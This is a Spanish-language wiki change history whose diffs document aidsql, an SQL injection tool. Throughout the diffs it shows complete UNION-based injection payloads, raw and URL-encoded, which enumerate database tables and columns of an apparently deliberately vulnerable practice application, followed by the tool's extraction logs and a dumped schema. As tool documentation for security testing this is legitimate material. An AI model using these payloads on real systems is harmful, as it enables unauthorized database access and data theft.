Recent changes to aidsql-es

aidsql-es modified by Maguey

Maguey — Wed, 11 Dec 2013 15:30:40 -0000

--- v13
+++ v14
@@ -1,6 +1,8 @@
 
-
-English
+[[img src=https://sourceforge.net/p/maguey/wiki/Home/attachment/LogoMaguey.png height=25% width=25% style=float:right]]
+


+
+Regresar  Español

 aidsql

@@ -225,7 +227,7 @@
 

 Referencias:
-Liga: http://code.google.com/p/aidsql/
+Liga: http://code.google.com/p/aidsql/.
 Autor (es): jpfstange
 LynxSec IT consulting and security
 Contacto: lynxsec \[at\] gmail.com

aidsql-es modified by Maguey

Maguey — Wed, 04 Dec 2013 03:24:50 -0000

--- v12
+++ v13
@@ -171,9 +171,11 @@
 


 La herramienta de manera automática, guarda los resultados de la explotación y minado de datos dentro de la capeta interna: 
-•  Carpeta /logs/\[miaplicacion\]
-o  Carpeta log - index.php_console.log
-o  Carpeta xml - index.php_db_schemas.xml
+
+Carpeta /logs/\[miaplicacion\]
+
Carpeta log - index.php_console.log
+
Carpeta xml - index.php_db_schemas.xml
+

 Archivo index.php_console.log

aidsql-es modified by Maguey

Maguey — Wed, 04 Dec 2013 03:24:10 -0000

--- v11
+++ v12
@@ -208,20 +208,7 @@

 


-
 Archivo index.php_db_schemas.xml
-
-
-VULNERABLE LINKS FOUND : 1

-TOTAL TIME         : 53 seconds

-


-
-La herramienta de manera automática, guarda los resultados de la explotación y minado de datos dentro de la capeta interna: 
-•  Carpeta /logs/\[miaplicacion\]
-o  Carpeta log - index.php_console.log
-o  Carpeta xml - index.php_db_schemas.xml
-
-Archivo index.php_console.log

 
 <schemas>

aidsql-es modified by Maguey

Maguey — Wed, 04 Dec 2013 03:22:23 -0000

--- v10
+++ v11
@@ -236,7 +236,10 @@
 

 Referencias:
-Liga:  http://sourceforge.net/projects/gamja/
-Autor (es): Sang-hun Jeon
-Contacto: p4ssion \[at\] gmail.com
-Licencia: GNU General Public License version 2.0 (GPLv2)
+Liga: http://code.google.com/p/aidsql/
+Autor (es): jpfstange
+LynxSec IT consulting and security
+Contacto: lynxsec \[at\] gmail.com
+IRC: irc.freenode.net #aidsql 
+Twitter: http://twitter.com/#!aidsql
+Licencia: GNU GPL v2

aidsql-es modified by Maguey

Maguey — Wed, 04 Dec 2013 03:20:55 -0000

--- v9
+++ v10
@@ -171,7 +171,7 @@
 


 La herramienta de manera automática, guarda los resultados de la explotación y minado de datos dentro de la capeta interna: 
-•  Carpeta /logs/[miaplicacion]
+•  Carpeta /logs/\[miaplicacion\]
 o  Carpeta log - index.php_console.log
 o  Carpeta xml - index.php_db_schemas.xml

@@ -208,6 +208,31 @@

 


+
+Archivo index.php_db_schemas.xml
+
+
+VULNERABLE LINKS FOUND : 1

+TOTAL TIME         : 53 seconds

+


+
+La herramienta de manera automática, guarda los resultados de la explotación y minado de datos dentro de la capeta interna: 
+•  Carpeta /logs/\[miaplicacion\]
+o  Carpeta log - index.php_console.log
+o  Carpeta xml - index.php_db_schemas.xml
+
+Archivo index.php_console.log
+
+
+<schemas>

+<database name="owasp10" version="5.5.16" datadir="">

+<tables>

+<table name="accounts" type="BASE TABLE" engine="InnoDB" collation="latin1_swedish_ci" increment="1">

+<column name="cid"><type>int(11)</type><key>0</key><extra>0</extra></column>

+<column name="username"><type>text</type><key>0</key><extra>0</extra></column>

+…

+


+
 

 Referencias:

aidsql-es modified by Maguey

Maguey — Wed, 04 Dec 2013 03:19:20 -0000

--- v8
+++ v9
@@ -183,7 +183,7 @@
 PLUGIN NAME        :   UNION

 PLUGIN AUTHOR      :   Juan Stange

 REQUEST VARIABLES  :   message, do, info, page,…

-VULNERABLE LINK        :   http://midominio.com.mx/miaplicacion
/index.jsp?message==0eb751e9f79eb91238fc1902844d30e6%27+UNION+ALL+
SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e
%29%2C3%2C4%2C5+FROM+information_schema.columns+WHERE+table_schema%3D0x6f776173703130+AND+table_name%3D0x70656e5f746573745f746f6f6c73%3B+--+ 

+VULNERABLE LINK        :   http://midominio.com.mx/miaplicacion
/index.jsp?message==0eb751e9f79eb91238fc1902844d30e6%27+UNION+ALL+
SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28
COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e
%29%2C3%2C4%2C5+FROM+information_schema.columns+WHERE+
table_schema%3D0x6f776173703130+AND+table_name%3D0x70656e5f746573745f746f6f6c73%3B+--+ 

 ------------------------------------------------

 SCHEMA seguridad

 ------------------------------------------------

aidsql-es modified by Maguey

Maguey — Wed, 04 Dec 2013 03:18:51 -0000

--- v7
+++ v8
@@ -163,6 +163,50 @@
 http://midominio.com.mx/miaplicacion
/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+
UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28
COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+
FROM+information_schema.columns+
WHERE+table_schema%3D0x6f776173703130+AND+table_name%3D0x6163636f756e7473%3B+--+&password=prueba&user-info-php-submit-button=View%2BAccount%2BDetails&page=user-info.php
 


+Al final de la ejecución la herramienta desplegara un reporte de cuantas vulnerabilidades de inyección de SQL detecto durante el escaneo, al igual que el tiempo total de la ejecución del escaneo. 
+
+
+VULNERABLE LINKS FOUND : 1

+TOTAL TIME         : 53 seconds

+


+
+La herramienta de manera automática, guarda los resultados de la explotación y minado de datos dentro de la capeta interna: 
+•  Carpeta /logs/[miaplicacion]
+o  Carpeta log - index.php_console.log
+o  Carpeta xml - index.php_db_schemas.xml
+
+Archivo index.php_console.log
+
+
+HOST midominio.com.mx
+------------------------------------

+PLUGIN NAME        :   UNION

+PLUGIN AUTHOR      :   Juan Stange

+REQUEST VARIABLES  :   message, do, info, page,…

+VULNERABLE LINK        :   http://midominio.com.mx/miaplicacion
/index.jsp?message==0eb751e9f79eb91238fc1902844d30e6%27+UNION+ALL+
SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e
%29%2C3%2C4%2C5+FROM+information_schema.columns+WHERE+table_schema%3D0x6f776173703130+AND+table_name%3D0x70656e5f746573745f746f6f6c73%3B+--+ 

+------------------------------------------------

+SCHEMA seguridad

+------------------------------------------------

+VERSION : 5.5.16

+DATADIR : 

+

+TABLE cuentas

+---------------------

+type       :   BASE TABLE

+engine     :   InnoDB

+collation      :   latin1_swedish_ci

+increment  :   1

+

+COLUMNS

+---------------------

+NAME       :   cid

+       type        int(11)

+       key     0

+       extra       0

+NAME       :   username

+…

+
+

aidsql-es modified by Maguey

Maguey — Wed, 04 Dec 2013 03:16:56 -0000

--- v6
+++ v7
@@ -160,7 +160,7 @@
 [QUERY]    | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,GROUP_CONCAT
(COLUMN_NAME,0x7c,COLUMN_TYPE,0x7c,IF(COLUMN_KEY,COLUMN_KEY,0),0x7c,IF(EXTRA,EXTRA,0) SEPARATOR 0x25),0x3c2f61696473716c3e),3,4,5 
FROM information_schema.columns WHERE table_schema=0x6f776173703130 AND table_name=0x6163636f756e7473; -- 
 

 Normalized URL:
 
-http://midominio.com.mx/miaplicacion
/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+
UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+
FROM+information_schema.columns+
WHERE+table_schema%3D0x6f776173703130+AND+table_name%3D0x6163636f756e7473%3B+--+&password=prueba&user-info-php-submit-button=View%2BAccount%2BDetails&page=user-info.php
+http://midominio.com.mx/miaplicacion
/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+
UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28
COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+
FROM+information_schema.columns+
WHERE+table_schema%3D0x6f776173703130+AND+table_name%3D0x6163636f756e7473%3B+--+&password=prueba&user-info-php-submit-button=View%2BAccount%2BDetails&page=user-info.php

aidsql-es modified by Maguey

Maguey — Wed, 04 Dec 2013 03:16:23 -0000

--- v5
+++ v6
@@ -148,10 +148,10 @@
 FOUND DATABASE seguridad 

 [message]  | METHOD: unionQuery

 

-[QUERY]    | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,GROUP_CONCAT
(TABLE_NAME,0x7c,TABLE_TYPE,0x7c,ENGINE,0x7c,TABLE_COLLATION,0x7c,IF(AUTO_INCREMENT,1,0)),0x3c2f61696473716c3e),3,4,5 FROM information_schema.tables WHERE table_schema=0x6f776173703130; -- 
+[QUERY]    | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,GROUP_CONCAT
(TABLE_NAME,0x7c,TABLE_TYPE,0x7c,ENGINE,0x7c,TABLE_COLLATION,0x7c,
IF(AUTO_INCREMENT,1,0)),0x3c2f61696473716c3e),3,4,5 FROM information_schema.tables WHERE table_schema=0x6f776173703130; -- 
 

 Normalized URL: 

-http://midominio.com.mx/miaplicacion/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+
UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28TABLE_NAME%2C0x7c%2CTABLE_TYPE%2C0x7c%2CENGINE%2C0x7c%2C
TABLE_COLLATION%2C0x7c%2CIF%28AUTO_INCREMENT%2C1%2C0%29%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+FROM+information_schema.tables+WHERE+table_schema%3D0x6f776173703130%3B+--+
+http://midominio.com.mx/miaplicacion/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+
UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28
TABLE_NAME%2C0x7c%2CTABLE_TYPE%2C0x7c%2CENGINE%2C0x7c%2C
TABLE_COLLATION%2C0x7c%2CIF%28AUTO_INCREMENT%2C1%2C0%29%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+FROM+information_schema.tables+WHERE+table_schema%3D0x6f776173703130%3B+--+
 

 Fetching table "cuentas" columns ...

 

@@ -160,7 +160,7 @@
 [QUERY]    | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,GROUP_CONCAT
(COLUMN_NAME,0x7c,COLUMN_TYPE,0x7c,IF(COLUMN_KEY,COLUMN_KEY,0),0x7c,IF(EXTRA,EXTRA,0) SEPARATOR 0x25),0x3c2f61696473716c3e),3,4,5 
FROM information_schema.columns WHERE table_schema=0x6f776173703130 AND table_name=0x6163636f756e7473; -- 
 

 Normalized URL:
 
-http://midominio.com.mx/miaplicacion
/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+
UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+FROM+information_schema.columns+
WHERE+table_schema%3D0x6f776173703130+AND+table_name%3D0x6163636f756e7473%3B+--+&password=prueba&user-info-php-submit-button=View%2BAccount%2BDetails&page=user-info.php
+http://midominio.com.mx/miaplicacion
/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+
UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+
FROM+information_schema.columns+
WHERE+table_schema%3D0x6f776173703130+AND+table_name%3D0x6163636f756e7473%3B+--+&password=prueba&user-info-php-submit-button=View%2BAccount%2BDetails&page=user-info.php

aidsql-es modified by Maguey

Maguey — Wed, 04 Dec 2013 03:14:45 -0000

--- v4
+++ v5
@@ -143,24 +143,24 @@
 [message] | METHOD: unionQuery

 

  [QUERY]   | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,USER(),0x3c2f61696473716c3e),3,4,5; --  
-Normalized URL: http://midominio.com.mx/miaplicacion/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CUSER%28%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5%3B+--+
+Normalized URL: http://midominio.com.mx/miaplicacion/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+UNION+ALL+
SELECT+1%2CCONCAT%280x3c61696473716c3e%2CUSER%28%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5%3B+--+
 

 FOUND DATABASE seguridad 

 [message]  | METHOD: unionQuery

 

-[QUERY]    | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,GROUP_CONCAT(TABLE_NAME,0x7c,TABLE_TYPE,0x7c,ENGINE,0x7c,TABLE_COLLATION,0x7c,IF(AUTO_INCREMENT,1,0)),0x3c2f61696473716c3e),3,4,5 FROM information_schema.tables WHERE table_schema=0x6f776173703130; -- 
+[QUERY]    | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,GROUP_CONCAT
(TABLE_NAME,0x7c,TABLE_TYPE,0x7c,ENGINE,0x7c,TABLE_COLLATION,0x7c,IF(AUTO_INCREMENT,1,0)),0x3c2f61696473716c3e),3,4,5 FROM information_schema.tables WHERE table_schema=0x6f776173703130; -- 
 

 Normalized URL: 

-http://midominio.com.mx/miaplicacion/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28TABLE_NAME%2C0x7c%2CTABLE_TYPE%2C0x7c%2CENGINE%2C0x7c%2CTABLE_COLLATION%2C0x7c%2CIF%28AUTO_INCREMENT%2C1%2C0%29%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+FROM+information_schema.tables+WHERE+table_schema%3D0x6f776173703130%3B+--+
+http://midominio.com.mx/miaplicacion/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+
UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28TABLE_NAME%2C0x7c%2CTABLE_TYPE%2C0x7c%2CENGINE%2C0x7c%2C
TABLE_COLLATION%2C0x7c%2CIF%28AUTO_INCREMENT%2C1%2C0%29%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+FROM+information_schema.tables+WHERE+table_schema%3D0x6f776173703130%3B+--+
 

-Fetching table "cuentas" columns ...
+Fetching table "cuentas" columns ...

 

-[message]  | METHOD: unionQuery
-
-[QUERY]    | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,GROUP_CONCAT(COLUMN_NAME,0x7c,COLUMN_TYPE,0x7c,IF(COLUMN_KEY,COLUMN_KEY,0),0x7c,IF(EXTRA,EXTRA,0) SEPARATOR 0x25),0x3c2f61696473716c3e),3,4,5 FROM information_schema.columns WHERE table_schema=0x6f776173703130 AND table_name=0x6163636f756e7473; -- 
+[message]  | METHOD: unionQuery

+

+[QUERY]    | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,GROUP_CONCAT
(COLUMN_NAME,0x7c,COLUMN_TYPE,0x7c,IF(COLUMN_KEY,COLUMN_KEY,0),0x7c,IF(EXTRA,EXTRA,0) SEPARATOR 0x25),0x3c2f61696473716c3e),3,4,5 
FROM information_schema.columns WHERE table_schema=0x6f776173703130 AND table_name=0x6163636f756e7473; -- 
 

 Normalized URL:
 
-http://midominio.com.mx/miaplicacion
/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+FROM+information_schema.columns+WHERE+table_schema%3D0x6f776173703130+AND+table_name%3D0x6163636f756e7473%3B+--+&password=prueba&user-info-php-submit-button=View%2BAccount%2BDetails&page=user-info.php
+http://midominio.com.mx/miaplicacion
/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+
UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+FROM+information_schema.columns+
WHERE+table_schema%3D0x6f776173703130+AND+table_name%3D0x6163636f756e7473%3B+--+&password=prueba&user-info-php-submit-button=View%2BAccount%2BDetails&page=user-info.php